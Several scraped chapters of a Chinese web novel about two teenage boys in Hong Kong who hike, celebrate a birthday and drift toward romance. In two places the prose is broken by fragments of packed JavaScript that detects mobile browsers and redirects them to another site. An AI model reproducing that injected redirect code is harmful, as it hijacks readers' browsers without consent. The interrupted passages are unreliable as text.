江扩早就徘徊在熟睡的边缘,被身体突如其来的一暖吓得心跳漏了一拍,彻底惊醒过来。 “我草,你干什么!”江扩起了一身鸡皮疙瘩,从床上半坐起来,使劲掰开黎大福的手,“黎大福你有病吧,放开我!” “打雷了,我好怕,”黎大福闷闷道,“我没病。” 江扩如何拼命挣扎都无济于事,最后只好重新躺倒回去。黎大福的鼻息扫在江扩的脖子上,弄得他心里发痒。 “黎大福你大爷的。”江扩咬着牙骂道。 雷声过去很久,黎大福环在江扩身上的手渐渐松开。江扩转过去一看,这小夯货早就闭眼睡着了。 这好像是他第一次见到黎大福熟睡的样子。很......可爱。 算了,下不为例。 江广荣一夜没回来,估计是雨太大上黑魔仙家住去了。 这一睡两人直接睡到中午。隔天江扩醒过来的时候,外边儿是晴的。 黎大福还在旁边小声打着呼噜。 “喂,黎小弟,”江扩轻轻推了几下黎大福的身躯,“中午了,快起床。” 黎大福双眼朦朦胧胧睁开。 “大哥,我做梦了,”黎大福翻了个身跟江扩对视,“我梦见你考上G大。” “借你吉言。”江扩很傲娇地哼了一声。 “我肯定也能考上G大,到时候我们就同校了。”黎大福笑眯眯说。 “这么自信?”江扩笑了一声。 “这不是自信,这是理所当然,”黎大福一脸自豪,“我的成绩要考G大可是绰绰有余。” “你知道你想考上G大首先要干什么吗?”江扩悠悠道。 “什么?”黎大福凑过去饶有兴趣问道。 “首先你要起床。”江扩率先从床上坐起来,整了整凌乱的头发。 “啊?哦。”黎大福跟着坐起来,对着对面的书桌发愣。 “作业写完了没有?”江扩问。 “早完了,”黎大福叹了口气,“我今天是一点儿都不想学习。” “那我们今天去玩。”江扩说。 “玩什么?”黎大福立马来了精神。 “爬山。”江扩挑起嘴角。 “不要!”黎大福皱眉。 “为什么?”江扩白了黎大福一眼,“你如果想逃离自己的家,首先得锻炼身体,有一了双好腿,到时候就能跑得过他们。” “那如果他们有车呢?”黎大福被江扩一本正经的胡说八道逗乐了。 “那你就要练成飞毛腿,比他们的车还要快,直接冲出地球,他们就找不到你了。”江扩憋着笑答道。 “哈哈哈哈哈......”黎大福趴回到床上大笑,一只手攥紧拳头在床头一下下捶着。 半个钟之后,黎大福迈着不情不愿的步伐被江扩拽到了街上。 “大哥,我们去哪座山?”黎大福问。 “不知道。”江扩摇头,“这附近有什么山?” “那你还说要爬山?”黎大福哀嚎一声。 “赶紧的,说有什么山吧。”江扩不耐烦了。 “我们去大帽山吧,我以前跟我姐去过,挺不错的。”黎大福兴奋道。 “能坐叮叮车去吗?”江扩瞥了一眼恰巧驶过来的一辆叮叮车。 “不行,”黎大福说,“叮叮车只在港岛运行,我们去的那座山,不在港岛。” “地铁呢?”江扩问。 “应该可以?”黎大福迟疑片刻,道。 不久,两人走进附近的地铁站。江扩跟着黎大福一通生疏操作,终于刷了“扒大桶”进了站口。 香港的地铁人很挤,两人找了线路图,终于进了一辆列车。列车内人满为患,两人找不到位子,只好被群人挤到门边上。 “还要多久啊!”江扩闻够旁边一个外国人身上的浓浓香水味儿,咬着牙问黎大福。 “不知道啊。”黎大福被旁边人一挤,只好往江扩身边靠拢过去。 终于到站。出了地铁站,江扩感觉整个人都要虚脱了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16721996|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我发誓不再坐地铁了。”江扩抬手抹去额头上的汗。 “大哥,你知道吗?”黎大福对着面前这条街微笑道,“不久之前,香港人口已经突破六百九十万。” “嗯。”江扩看了一眼身后的黎大福,“为什么突然这么说?” “人口这么多,那这些人要在这里面找到自己的真爱,该有多难啊。”黎大福感慨道。 “说不定他们真爱不在这个糟心的地方。”江扩说。 “不,也许在这。”说罢,黎大福偷偷瞄了一眼江扩。 江扩沉默了。 “我想起一件事,”黎大福说,“几年前我跟我姐去了一趟将军澳祭拜一个去世的歌星,发现在巴士站附近的电线杆上面有人用记号笔写了一句话。” “什么话?”江扩问。 “‘活在这一个城市很辛苦’。”黎大福回忆道。 “确实很辛苦,”江扩垂着头,把一个小石子踢到墙边,“物价高,生活压力大,房子又窄。” “可是大哥,你知道吗?就是因为辛苦,所以才叫生活啊。”黎大福露出一副大无畏的笑容,“有欢乐又有痛苦,这才是真正的生活;经历各种痛苦的打击之后,你才能真真切切感觉自己是活着的。” 到香港这么久,江扩已经习惯在每次即将对香港萌生几分好感之前,又将这个念头及时掐灭。 “你是没去过我老家,”江扩说,“那才是真正的生活。” 黎大福没再搭话,从书包里掏出一个小笔记本,蹲到路旁埋头记东西。 “写的什么?”江扩凑过去想看,被黎大福用手挡住了。 江扩突然间有点不爽。 “是我记下的各种灵感,”黎大福记完一大段文字,将笔记本合上塞回书包,“将来有一天,我会把他们全都写成小说。” 江扩没想到黎大福还是个文艺青年。 “你以后要当作家?”江扩问。 “嗯,”黎大福瞥了一眼路牌,“走吧。” 江扩跟了上去。 两人在巴士站等到一辆巴士,又坐了十几分钟才到大帽山山脚。 “我饿了。”黎大福摸了摸闹饥荒的肚子,委屈巴巴道。 “我们去吃烧烤吧。”江扩朝那边的露天烧烤抬下巴示意。 露天烧烤的人不多,大概是因为过了正餐时间。老板正坐在一张小桌旁边,跟另外客人大声讲话。 江扩不难听出几人讲的是潮汕话,而且听老板的口音还是爷爷奶奶那边的。 “阿叔!”黎大福朝那老板挥挥手。 “来了。”老板起身朝这边走来。 点完单付了钱,两人找了个位置坐下。 “叔叔,你是潮汕人?” 江扩用许久没用到的潮汕话试问。 “是啊,”老板拿了两瓶可乐过来,“你也是?” 江扩轻轻点头,顿感亲切。 “二十岁跟老婆来的香港,二十年咯,”老板笑眯眯道,“都不知道老家那边怎么样了。” “那就回去看一看。”江扩回答。 “是准备回去探亲的。”老板有些惆怅。 江扩一瞬间又想家了。 “大哥,你们叽叽喳喳在聊什么?”黎大福一脸问号。 “聊老家。”江扩想起家中的爷爷奶奶还有会唱歌的小堂妹,不禁微微一笑。 “想不想吃橄榄?”老板端了个果盘过来,“每次想家,我就吃一颗橄榄。” 江扩道了谢,捡了颗橄榄扔进嘴里。 “我试试。”黎大福以为是什么山珍海味,也兴冲冲捡了一颗放到嘴里面嚼。 接着笑容瞬间凝固,一秒转变成了痛苦面具。 “好难吃!”黎大福捂着嘴哀嚎。 江扩看了一眼小夯货,嘲讽般笑了一声。 “我都快吃吐了,你还笑!”黎大福不乐意了。 “哈,哈。”江扩犯贱,又故意对着黎大福的脸笑了两声。 黎大福气急败坏捶了一下桌子,低头把难吃的橄榄吐进垃圾桶。 17. 第 17 章 “烧烤来了。”老板把烤好的串串端到桌上。 “阿叔。”江扩犹豫片刻,又把老板叫住了。 “咩事?”老板回过头。 “祝你探亲顺利。”江扩朝老板笑了一下。旁边的黎大福又看呆了。 “谢谢啊。”老板笑眯眯离开了。 “大哥,你能再笑一个吗?”黎大福眨眨眼。 “不要。”江扩板着脸直接拒绝。 黎大福有些失望,弄了根牛肉串埋头吃着。 江扩也弄了根烤肉串,撕了一口嚼着。缠绕心里那股想家的念头不知怎么越发严重。 江扩眨了眨眼,竟然从眼眶掉了颗眼泪在桌上。 这一幕刚好被抬眸偷看大哥吃烧烤的黎大福瞥到。见大哥突然落泪,黎大福嚼着的嘴顿住了。 “大哥,你怎么了?”黎大福讷讷问。 “没,”江扩擦去眼角余下的泪水,“想家了。” “想爷爷奶奶,想堂妹,想朋友,想油柑。”江扩狠狠咬下一大块烤肉。 “大哥你不要哭,”黎大福扯了张纸巾给江扩,“你不是说嘛,等自己长大了想去哪就去哪,而且你离成年也不远了啊,时间过的很快的。” 江扩接过纸巾,泪水已经止住。想了想还是攥在手里。 吃完一顿烧烤,两个人的嘴都被辣得红肿。 走到山脚,江扩一回头见黎大福还在跟只小狗似的吐舌头哈气。 “像只狗。”江扩给了个精简的评价。 “你也像。”黎大福回怼。 “我什么时候哈气了?”江扩白了小狗一眼。 “我刚看到了,从烧烤店出来的时候,”黎大福对江扩俏皮地哈了几下,“看见没有,你就是这样哈气儿的。” “嘁。”江扩加快步伐上了山,把黎大福远远甩在后面。 “大哥,等我!”黎大福匆匆赶上来。 两人的体力差别相当悬殊。江扩还没怎么出汗,黎大福已经在身后大喘粗气。 “大哥,我受不了了,下山了吧。”黎大福仰起头一声哀嚎。 “不行,一定要到山顶。”江扩说。 “等等,先休息一下。”黎大福伸出尔康手,蹲到一旁喘气。 “那么累吗?”江扩伸出一只手,笑道,“我拉你吧。” 话毕,江扩才察觉到一丝不妥,手僵在半空。但缩回手很明显更不自然,只好杵在原地跟黎大福尴尬对视。 黎大福对那只手眨眨眼,下一秒竟然不受控制把一只手给了江扩。 江扩轻轻握住那只手,把黎大福拉上来。 黎大福盯着那只手大气不敢喘,垂着头任由江扩拉着他。 江扩偏头咳了一声,强制自己不去看黎大福。 两人不知道什么时候到的山顶。松开的时候,手心已经被汗水浸湿。 “大哥,我有个问题。”黎大福把手心的汗抹到裤子上。 “什么问题?”江扩问。 “我们这样,算是牵手了吗?”黎大福弱弱地试探问了一句。 江扩嘴唇翕动正想找个说辞,脑里又闪过大哥荣那个黑漆漆的枪口。 “想啥呢,”江扩干巴巴笑了一声,“我就是拉你上来而已。” “大哥你喜欢......”黎大福还要继续追问。 “我喜欢女的。”江扩垂着头,把一颗小石子踢到别处。 黎大福的目光闪过一丝黯淡。沉默良久,踩着几片枯黄的败叶走到一颗大岩石旁靠着。 从书包里拿出两瓶矿泉水。 “大哥,喝水吗?”黎大福晃了晃手中的水瓶。 江扩接过水,拧开瓶盖咕咚咕咚喝了几大口。 “大哥,听说在大帽山上能看到大陆,”黎大福想了想又加了一句,“能看到深圳。” “在哪?”江扩双眼微微一亮。 “不知道啊,”黎大福起身俯瞰山下群蚁般渺小的高楼,认认真真扫视了一番,接着指了指远处同样是山顶的一个观景台,“那有个观景台,应该能在那儿看到。” 仰头又喝了几大口水,两人朝观景台那边走过去。观景台聚集几个游客,正在拿摄像机拍风景照。 “那边就是深圳了!”黎大福很确定的指着远处一片地喊道。 “深圳再过去一点,就是我的老家了。”江扩眯缝着眼对深圳的方向出神。 “没那么近。”黎大福反驳道。 “再过去一点。”江扩勾起嘴角。 “还是没那么近。”黎大福盯着江扩的嘴角又道。 “那就再过去一点。”江扩嘴角的笑意更明显了。 “不行,还是太远。”黎大福耍小聪明终于得逞,对着江扩迷死人的笑容傻乐。 “......”江扩无奈看了一眼黎大福,“故意是吧?” “你猜。”黎大福嘻嘻一笑。 “不玩了。”江扩轻轻吐出一口气,到大岩石前面坐着。 黎大福见状也坐到江扩身边,拉开书包链,从书包里掏出几根散装的烟和一个打火机。 “哪来的?”江扩问。 “偷我姐的,”黎大福弄了一根叼着,又递给江扩一根,“大哥,试试。” 江扩凝视那根烟几秒,也接过来叼着,对远处的风景发愣。 两声打火机响。 “我好像快生日了。”江扩讷讷说罢,低头笨拙地咳了几声。 “几月几号?”黎大福徐徐呼出一口烟。 “农历十月二十七,”江扩转头问道,“你呢?” “愚人节。”黎大福悠悠道。 “什么?”江扩没反应过来。 “四月一号,”黎大福感慨道,“这更证实了我的出生就是个错误。” “谁说你出生就是错误了?”江扩啧了一声。 “我爸妈说的,”黎大福叼着烟低头扯了一下鞋带,“我妈说早知道当初怀了我就该去打掉,我爸说早知道当时把我扔在东北一个人冻死饿死。” “别听他们的,你的出生绝对不是错误,”江扩把烟叼着,凑近掰着几根手指数给黎大福看,“你看你成绩这么好,学霸,诶次次第一名,还会给人补习,长的又靓仔......” “我没有次次第一名儿。”黎大福被江扩逗笑了。 “前五好了吧,在你那学校前五已经很牛逼了。”江扩一拍膝盖,“我敢保证,接下来你都会是第一名,把江收那个中二病踩在脚下。” “好,然后考G大。”黎大福点点头。 “嗯,我也努力考G大,然后一起离开香港。”江扩自信一笑。 黎大福痴痴地盯着江扩的嘴角,又伸出一根小拇指。 江扩垂眸看了那白皙纤瘦的小拇指,半晌,伸出自己的小拇指简单地勾了一下。 一根烟抽完,已经快要日落。 “大哥,你以前生日怎么过的?”黎大福把烟头收集起来,一边问道。 “没怎么过,”江扩思索片刻,“早上奶奶煮碗甜鸡蛋汤给我喝,晚上有时间就跟爷爷去村口买个小蛋糕,连蜡烛都没有;有一次本来准备去吃麦当劳,结果爷爷要拉货,没时间。” “大哥荣知道你要生日了吗?”黎大福问。 “那傻|逼根本不知道我的生日,他只喜欢赚黑钱。”江扩想起大哥荣那张嘴脸,不禁一声冷笑。 “那就好。”黎大福很满意地点了几下头。 “发烧了?”江扩抬起手探了一下黎大福的额头,“这有什么好的?” “我的意思是,他不知道,那我给你过吧。”黎大福粲然笑道。 “我们两个中学生,能过到哪儿去?”江扩无奈。 “到时候看咯。”黎大福兴奋道。

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到了门口,黎大福翻了翻书包才发现没带钥匙,恰好又听见屋里黎雄跟郭霞两人在吵架,听东西碎裂的声音貌似还吵得不轻。 黎大福靠在门口偷听了半晌。 这俩人吵架通常没有什么直接原因,一句再平常不过的抱怨都能成为导火线,然后摔东西,嘴上骂着乱七八糟包含生殖器官或者关联到祖宗八辈的粗口,有几次甚至还动了手。 楼下的邻居已经以扰民为由报警过多次,黎雄和郭霞就是不改。 黎大福骂了一声,迈着沉重的步伐下了楼。 在街头巴士站抽了根烟后,黎大福才决定去酒吧找黎多财。 黎多财经常去的那家酒吧在时代广场附近。以前黎多财加了个乐队在兰桂坊那边的酒吧驻唱,后来酒吧解散了才老老实实到家附近的酒吧消磨时间。 到酒吧的时候,黎多财正在酒吧角落的一张大桌跟几个朋友猜拳。 黎大福冷不丁走到黎多财身后,幽幽道: “姐......” “这人谁啊?”黎多财一个朋友皱眉看了黎大福一眼。 黎多财这才猛地回头,一天前狂妄自称要离家出走的亲弟弟站在她身后,正可怜巴巴望着她。 “哟,翅膀长硬了?”黎多财叼着烟一通讽刺,“不是说要离家出走嘛,这么早回来干什么?” “我要回家,”黎大福弱弱道,“我没钱了。” “原来是你细佬(弟)啊,”一个二三十岁西装革履的男人叼着烟打量黎大福片刻,“细皮嫩肉的小男孩,我最喜欢了。” 黎大福胃里一阵翻江倒海,恶狠狠瞪了那男人一眼。 “还会瞪人,那我更喜欢了。”那男人咧起嘴贱贱笑了几声。 黎大福撸起袖子正要冲过去往那男人脸上抡几拳,被黎多财拦住了。 “你干啥?”黎多财一脸警惕问道。 “打人。”黎大福冷冷回答道。 黎多财挑了挑眉。 “哈,暴力狂,我最喜欢了!”男人愈发兴奋。 “去去去!”黎多财顺起黑皮包往那男人头上咣咣砸了十几下,“郉程我草你大爷的,泡男人泡到我弟身上来了是吧?啊?!” 那色眯眯的男人此刻只会哀嚎,根本不敢还手。 另外几个朋友先后发出哄笑。 “你不是说过你弟是基吗?我泡一下会死咩?”男人骂骂咧咧整了整凌乱的发型。 “滚!”黎多财用尽最后力气举包往那男人头上砸了最后一下,把包夹在肢胳窝,推着黎大福出了酒吧。 18. 第 18 章 黎大福回头瞄了一眼一桌人。 那男人还在捂着后脑勺哀嚎,像是头骨被砸裂了。另外几人跟无事发生似的开始新的一轮猜拳和比酒,丝毫不管伤者的死活。 “你这样打他的头,不会死人吗?”黎大福问。 “他挨过我无数次打了,头的质量杠杠的。”黎多财又点了根烟,回头似笑非笑瞥了黎大福一眼,“我弟出息了,会打人了啊。” “过奖。”黎大福肚子咕咕响了几声。 “没吃饭啊。”黎多财嘲讽般笑了一下。 “嗯。”黎大福垂着头。 “这两天上哪去了?去你大哥家了?”黎多财呼出一口烟。 “嗯。”黎大福应道。 “在一起了?”黎多财笑道。 “没有,”黎大福摇头,若有所思地说,“他不喜欢男的。” “你怎么知道?”黎多财哼了一声。 “他说的。”黎大福说。 “他说的你就信?”黎多财又哼一声,“说不定人家是深柜,你太容易相信别人了。” 黎大福沉默了。 “姊姊请你吃牛腩面。”黎多财搂住黎大福的肩膀。 牛腩店就在酒吧附近,这会吃宵夜的人不少。两人到的时候正好碰上一桌吃完离开的。 点完单坐下后,黎大福主动扯了张纸巾擦桌子。 黎多财从包里掏出烟来抽。 “姐,这儿不能抽烟。”黎大福说。 “没看见那上面写着吸烟区吗?”黎多财白了弟弟一眼。 “姐,烟灰缸。”黎大福笑眯眯把一个烟灰缸推到黎多财面前。 黎多财看了黎大福一眼,把烟灰缸拨近弹了弹烟灰。 老板端了两碗牛腩面过来。 “姐你快吃。”黎大福笑眯眯把碗推给黎多财,又贴心地给他姐擦了双筷子。 黎多财又是意味深长地瞥了黎大福一眼。 “说吧,想让我|干啥?”黎多财把烟弄进烟灰缸里掐灭,“你这马屁都拍到天上去了。” “啊?”黎大福极其虚伪地眨了几下眼。 “我只是玩得疯了点,又不是傻了,”黎多财乐了,“说吧,有啥事要我帮忙的。” “姐,你有朋友是潮汕人吗?”黎大福便直接问了。 “当然有,咋了?”黎多财问。 “你能不能问你朋友要一包油柑,”黎大福露出一副委屈巴巴的小狗模样,“大哥要生日了,我想送大哥生日礼物。” “哟,这就开始追他了?”黎多财笑道。 “没有,”黎大福低头咬了一片牛腩,有点丧气,“我不想追他,他说他不喜欢男的。” 如果江扩不喜欢男的,那他只需要以朋友身份陪江扩一段路。 “我说你这脑子是不是浆糊做的?”黎多财翻了个大白眼,“都说了他可能是骗你的;说不定他也喜欢你呢。” “不可能的。”黎大福委屈地吸了吸鼻子。 “油柑什么时候要?我尽量帮你找找。”黎多财抬眸看了这位情窦初开的亲弟弟一眼。 “下个周末。”黎大福兴奋道。 “好。”黎多财点头。 吃完牛腩面,黎多财带黎大福回了家。 “哟,离家出走,”郭霞冲刚进来的俩人阴阳怪气道,“怎么又回来了?” “把这变态撵出去!”黎雄砸了电视遥控。 “爸,妈,对不起,”黎大福把发飙的冲动压下去,走到一对父母面前委屈巴巴说,“我错了,是我不对,我真的不是变态,那都是我乱画的。” 如果不是乖乖听了大哥的话,估计这会他又要摔门而出。 “你俩少说点,大福都认错了。”黎多财在一旁帮衬。 “哼。”黎雄坐回沙发,摸了根烟点燃。 隔天周一。 江扩昨晚睡前死磕中史这门科目,第二天正好赶上中史突击测验。 试卷分下来的时候,江扩翻了翻整页一眼扫过去都是熟悉题型的试卷,忍不住吹了声口哨。 看来这几天自己的运气不是一般的好。 “这位大陆仔同学,不要高兴太早。”中史老师白了江眼。 “Sorry。”江扩道完歉,默默做了个深呼吸。 沉下心终于做完整张试卷,收上去的时候,江扩长舒一口气。 放学的时候,江扩和往常一样跟许添佑一齐出了校门。 “大哥!”黎大福带着灿烂的笑容,倚在学校大门前的大理石柱朝江扩挥手。 “啧。”旁边的许添佑啧了一声。 “干嘛?”江扩皱眉。 “看见那群女生了没有?”许添佑冲那边的学生群抬了抬下巴,“都是放学来找男朋友的。你认的这个小弟,表情跟那些等男朋友的女生没什么两样,啧啧啧。” “哼。”江扩抛下许添佑朝黎大福走去。 “走吧。”江扩照旧揉了揉黎大福的头。 两人并排骑到江广荣的老巢。 “猜我中史突击测验考得怎么样。”江扩说。 “第一名。”黎大福笑嘻嘻说。 “没那么厉害,”江扩笑了一下,抬起左手比了个“四”,“第四名,怎么样。” “进步很多了。”黎大福笑道。 “大哥,我算了一下,你是周日生日。”黎大福说,“到时候我们出去过生日吧,我还有生日礼物送你呢。” “生日礼物到底是什么?”江扩问。 “嘘。”黎大福神神秘秘地笑了一下。 这让江扩更好奇了。 黎大福补完习回去的时候,江扩趴到床上绞尽脑汁想猜出生日礼物是什么,想了很久愣是想不出一个满意的答案。 但江扩又是个求知欲旺盛的人,这一猜便是直接猜到周末。 周六晚上江扩从补习班出来后,又是撞上飙车过来的黎大福。 “大哥!”黎大福大老远吼道。 车在江扩面前的栏杆刹住。 “怎么这么快?”江扩问。 “爸妈吵架,我就先出来了。”黎大福下了自行车。 “到我家去先。”江扩说。 “大哥荣呢?”黎大福问。 “刚跟几个手下出去了,”江扩说,“脸色不太好,出去指定不是干啥好事。” “车呢?”黎大福又问。 “我走路来的,”江扩把黎大福按到后座,自己坐到车座上去,“大哥载你。” 黎大福抱着书包坐在后座,里面装着几本功课辅导和换洗的衣服。 “现在能告诉我生日礼物是什么了吧。”江扩说。 “不行,”黎大福笑眯眯摇了摇头,“时辰未到。” “哦,”江扩今天心情大好,马上接了茬,“时辰到,斩。” “哈哈哈......”黎大福趴在江扩背后笑出眼泪,又扯过江扩的衣服把眼泪擦到衣服上。 俩人到江广荣老巢的时候,家里是暗着的。 “这家伙不知道今晚要噶多少人呢。”江扩开了客厅的灯,冷笑一声。 “不,”黎大福反驳道,“说不定他没噶过人。” “不可能。”江扩脑里闪过江广荣那个黑漆漆的枪口。 进了房间,黎大福把书包里的一套睡衣翻出来。 “大哥,我去洗澡了。”黎大福抱着衣服出了房间。 “等等。”江扩站起身。 “什么?”黎大福顿住了。 江扩没有回答,抱着自己的睡衣擦过黎大福的身进了厕所,先给他调试好热水。省得这小夯货一会又洗冷水澡。 黎大福杵在厕所门口一脸羞涩。 “你干嘛?”江扩皱眉。 “大哥,你确定咱俩要一起洗吗?”黎大福弱弱问。 “我踏马什么时候说要一起洗了?!”江扩瞪大眼睛,从牙缝里挤出一句话。 “那你拿衣服......”黎大福声音更弱了。 此刻黎大福只想找条缝钻进去。 “我先放厕所不行吗?”江扩白了黎大福一眼,“给你调好热水了,赶紧洗。” 说罢江扩捂着一张红脸出了厕所。跟黎大福擦肩而过时,江扩感觉自己的脸都挂不住了。 回了房间,江扩从床头柜摸出一面小镜子,照了照自己的发烫的脸。 老实说刚有那么一瞬间,江扩是动了心的,差点就锁上门跟小夯货共浴一室了。 两人先后洗完澡,又趴在书桌各自温书了一两个钟头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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细细嚼了一会儿,眼眶又不争气地热了。 “好吃,好吃。”江扩脸上热泪纵横,“谢谢。” “大哥,不是只有这一包喔,我姐的朋友认识一个油柑种植基地,你到时候如果还想吃就告诉我,我托我姐帮你买,”黎大福一只手伸到油柑袋,“哈哈哈我也来试试。” 江扩把一颗油柑核吐进纸篓,右手猛地捏住黎大福拿油柑的纤瘦手腕。 “疼......”黎大福哀嚎。 江扩没有理会黎大福的哀嚎,目光炽热盯着黎大福的脸。那嘴唇的轮廓柔和富有弹性,偏偏此刻还是在痛苦慘叫,更给黎大福的整张脸添了些性感。 黎大福见江扩神情怪异,停止哀嚎怯怯地跟江扩对视。 “大哥......” 不行了,憋不住了。 正当江扩呼吸愈发急促,即将失控凑上去堵住黎大福那张小嘴同时做些出格行为的时候,脑里又闪过那个恐怖的梦境。 以及江广荣那个狰狞恐怖的枪口。 “我会杀了他,一个子儿就够了......” 保持同样的姿势跟黎大福对峙了许久,江扩终于冷静下来。紧紧捏着黎大福腕上的手渐渐松了。 “你吃吧。”江扩找出一颗最为饱满可爱的油柑,放到黎大福手心里。 “好。”黎大福捏了捏油柑,扔到嘴里细细品尝。 果不其然,几秒后黎大福的表情瞬间痛苦扭曲,两只手在脸上胡乱抓挠。 小夯货终于要变异成新型怪物了。 “这是什么鬼东西?!”黎大福咬牙切齿道。 “你再嚼几下试试看。”江扩笑罢,又拿了颗油柑扔进嘴里。 “好像甘了点。”黎大福皱眉嚼了几下。 “吃多了就习惯了,这跟吃橄榄一个道理。”江扩说。 “不想再吃了,”黎大福把一颗油柑核吐进纸篓,“大哥我真佩服你能吃这个,都给你吧,不够了找我要。” “好。”江扩挑了几颗出来,剩下的放到冰箱里。 江广荣跟几个跟屁虫出去处理事情,彻夜未归。两人洗漱毕也就早早躺下。 19. 第 19 章 午后江扩醒来,黎大福早就靠在床头等着。 “大哥,生日快乐。”黎大福说。 “谢谢,”江扩慢悠悠从床上爬起来,“你昨天晚上已经说了。” “我想再说一遍,”黎大福笑嘻嘻道,“今天我们去哪里?” “去看海。”江扩回答。 “哪片海啊?香港有很多海域呢。”黎大福道。 “哪里的海比较好看?”江扩问。 “我不知道啊。”黎大福摇了摇头,一脸迷茫。 这时门口传来熟悉的钥匙声,门吱呀一声开了。 江广荣带着几个跟屁虫气势汹汹回到家,刚进客厅便拿着自己的手机拨了通电话。 “冚家铲,都给我砸了!”江广荣对着电话听筒骂骂咧咧一番,又猛地挂了电话。 江扩趴到门口偷听片刻,一脸厌烦回到床上坐着。 “怎么了?”黎大福第一次碰上大哥荣发怒,忍不住缩了缩脖子。 “不知道,”江扩皱眉,“大哥荣是个危险人物,无论发生什么事,都千万不要接近他。” “嗯。”黎大福小声回答,趴在膝盖上沉默。 江扩揉了揉黎大福的发顶,坐在床边等大哥荣消气。 半个多小时过去,客厅重回一片死寂。江扩悄悄开了房间的门,外面已经空无一人。 “走了吗?”黎大福抬头。 “走了,”江扩松了一口气,“走吧,去海边。” 他是一刻都不想在江广荣这个乌烟瘴气戾气冲天的出租屋呆着了。这里根本不像个家,反倒像个黑流氓的老巢。或者说本来就是。 收拾好后,两人不久到了离这儿最近的叮叮车站。 “海呢?”江扩张望街道四周,愣是找不出一片海。 “肯定不在这儿啊,”黎大福回答,“我知道附近有个浅水湾,但是不识路。” 两人毫无头绪在叮叮车站干坐。 虽然快冬至,午后的太阳还是毒辣。 “要不我问一下我姐吧。”黎大福叹了口气。 “手机呢?”江扩无奈。 “不用。”黎大福起身,很快在旁边找到一个老旧的电话亭。 零六年的香港,已经鲜少有人用电话亭。但尽管老旧,电话亭还是勉强能用。 黎大福拨了黎多财的电话号码,半晌终于有人接听。 “边个?”黎多财在那头大声问。 “姐,是我,”黎大福说,“你知道浅水湾在哪儿吗?” “哟,这么浪漫,去看海啊,”黎多财笑了一声,“搭二零六巴士去吧,我给的钱应该够你们玩儿了。” 江扩倚在电话亭外面等了一小会儿,黎大福挂了电话走出来。 “我姐说要坐二零六巴士去。”黎大福说。 两人顶着烈日,在附近的巴士站坐下等车。 “还没买蛋糕呢。”黎大福歪着头若有所思地说。 “不用了吧,”江扩看了黎大福一眼,“太麻烦了。” “那可不,”黎大福说,“你以前几乎没吃过生日蛋糕,这次好不容易逮到个机会,还不赶紧吃回本儿。” “没钱。”江扩悠悠回答。 “这次我带够钱了,”黎大福笑嘻嘻回答,“大哥,这次我请你吧。” “那可不,”江扩学着黎大福的大碴子口音笑道,“这咋好意思,您家又不是忒有钱。” “不要学我说话。”黎大福啧了一声,“大哥,你还是说自己的潮汕口音吧。” 江扩很傲娇地哼了一声,从包里掏出水壶,拧开喝了几口。 远处驶过来一辆二零六巴士,在巴士站前停下。 上了车,二人在后面找了个靠窗的位子坐下。 江扩一只手靠在窗沿,头靠在车窗看风景。 “大哥,听歌不。”黎大福摸出一个MP3,“我下载了点老歌,好听。” “又偷你姐的?”江扩接过耳机戴上,“你怎么那么喜欢偷你姐的东西。” “不是,上次我直接让我姐继承给我了,”黎大福把音量调高,“这次完全属于我了。” “踏着脚在怀念昨天的你,夜是渗着前事全挥不去,若是你在明日能得一见,就让我在怀内重得温暖......” “好听。”江扩把耳机塞严实了点, “谁唱的?” “这声音一听就知道是Leslie哥哥的。”黎大福回答。 “哦?”江扩看了黎大福一眼,“就是春光乍泄电影躺下面的那个男明星是吧。” “是......”黎大福脑里闪过电影的亲热片段,脸霎时间红了。 江扩观察到黎大福的一丝尴尬,贱贱笑了几声。 二零六巴士终于到了浅水湾站。 浅水湾这会人不少,大多是过来度假的。 “我觉得我们应该先订个蛋糕。”黎大福说。 “不,现在太早了,”江扩反驳,“我觉得得先吃东西,再订蛋糕。” 浅水湾附近刚好找到一家麦当劳。为了早点看到海,两人只能一通风卷云残。 麦当劳隔壁正好是一家招牌是意大利文的蛋糕店,俩人吃完便走了进去。 “老板这有蛋糕卖吗?”黎大福问。 “有啊,”女老板说,“这都是我和对象一起做的,专门在意大利学的。” 橱窗里摆着一个个精美的蛋糕,价格不菲。最高的那个都有两百多港币。 “有没有便宜点的。”江扩趴在橱窗外面叹了口气。 “预算多少?多少人吃?什么类型的?”女老板把一个厚厚的小本子放到两人面前。 黎大福翻开第一页,里面是各种类型的蛋糕。江扩凑了过去。 “你带了多少钱?”江扩摸了摸裤兜,“我还有五十......” “我姐给了我三百,买个小的应该够。”黎大福回答。 “老公!”女老板捂着小腹进了休息室,“你招待客人,我去换卫生棉。” “好啊。”里面传来另一个女人的声音。 江扩跟黎大福同时吃惊抬头,休息室出来一个长发身材高挑的女人,有着超大号的双眼和超大号的嘴巴。 “选得怎么样?”另一个女老板打量这两人片刻,“挑个情侣蛋糕啦,价格实惠。” “啊?”黎大福才反应过来,“不不不,不是情侣。” “是不是情侣不重要,重要的是便宜,明吗?”女老板白了两人一眼,“你们预算不是不高吗?选个小号的情侣蛋糕最合适了,我可以尽量给你们做成不像情侣蛋糕。” “多,多少钱?”黎大福小心翼翼问。 “两百。”女老板回答。 江扩默默把自己的五十塞到黎大福怀里。 至此两人终于订下一个不像情侣蛋糕的情侣蛋糕,拿着一张单出了蛋糕店。 “她们两个原来是一起的。”黎大福把单塞进自己书包。 “嗯。”江扩回答。 “挺像一对儿的。”黎大福点头。 江扩瞥了黎大福一眼。 不久两人来到海滩,顺便买了个毯子和两瓶饮料。 黎大福把毯子铺到几排树下的细腻沙滩上,正好躲到树荫下。 “大哥,这生日咱俩过的挺寒酸。”黎大福把书包放在头顶,整个躺下去枕着。 